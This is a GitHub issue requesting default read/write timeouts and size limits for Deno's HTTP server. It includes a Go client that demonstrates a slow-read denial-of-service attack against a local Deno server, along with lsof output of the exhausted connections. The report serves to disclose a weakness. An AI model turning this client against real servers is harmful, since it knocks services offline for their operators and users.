Skip to content

Default timeouts and size limits for Deno.serve #3515

Description

@anjmao

Deno tries to have similar standard library as Go which is great, but... Keep in mind that event Go authors made some mistakes when initially developed std. For example by default HTTP server and client doesn't add any timeouts. In order to have production ready HTTP server in Go you would want to add Read/Write timeouts.

s := &http.Server{
	Addr:           ":8080",
	Handler:        myHandler,
	ReadTimeout:    10 * time.Second,
	WriteTimeout:   10 * time.Second,
	MaxHeaderBytes: 1 << 20,
}
log.Fatal(s.ListenAndServe())

Back to deno. For now there is only few options available.

interface ServerConfig {
  port: number;
  hostname?: string;
}

Example for slow client attack which creates new TCP connections on the server and by slowly reading response body doesn't close it which would eventually lead to server out of file descriptors errors.

Deno server

import { serve } from "https://deno.land/[email protected]/http/server.ts";
const s = serve({ port: 8000 });
console.log("http://localhost:8000/");

async function main() {
    for await (const req of s) {
        console.log('request:', req);
        const body = new TextEncoder().encode(`Hello World ${Date.now()}\n`);
        req.respond({ body });
        console.log('response:', body.length);
    }
}

main()

Go test client

package main

import (
	"fmt"
	"net/http"
	"time"
)

func main() {
	client := &http.Client{}
	for {
		go func() {
			req, err := http.NewRequest("POST", "http://localhost:8000", nil)
			if err != nil {
				panic(err)
			}
			res, err := client.Do(req)
			if err != nil {
				panic(err)
			}
			defer res.Body.Close()
			// Simulate slow clean attack by reading response body slowly.
			buf := make([]byte, 1)
			for {
				_, err := res.Body.Read(buf)
				if err != nil {
					fmt.Println(err)
					break
				}
				time.Sleep(100 * time.Second)
			}
		}()

		time.Sleep(1 * time.Second)
	}
}

Check established connections with lsof -p <PID>

// 53
deno    19997 anjmao  177u    IPv4 0x35f50d8024691719      0t0      TCP localhost:irdmi->localhost:61961 (ESTABLISHED)
deno    19997 anjmao  178u    IPv4 0x35f50d80249ec3b1      0t0      TCP localhost:irdmi->localhost:61963 (ESTABLISHED)
deno    19997 anjmao  179u    IPv4 0x35f50d80249eb0a1      0t0      TCP localhost:irdmi->localhost:61965 (ESTABLISHED)
deno    19997 anjmao  180u    IPv4 0x35f50d8024a4a0a1      0t0      TCP localhost:irdmi->localhost:61967 (ESTABLISHED)
// 58 
// ...
// 209

Metadata

Metadata

Assignees

No one assigned

    Labels

    ext/httprelated to ext/httpfeatnew feature (which has been agreed to/accepted)

    Type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions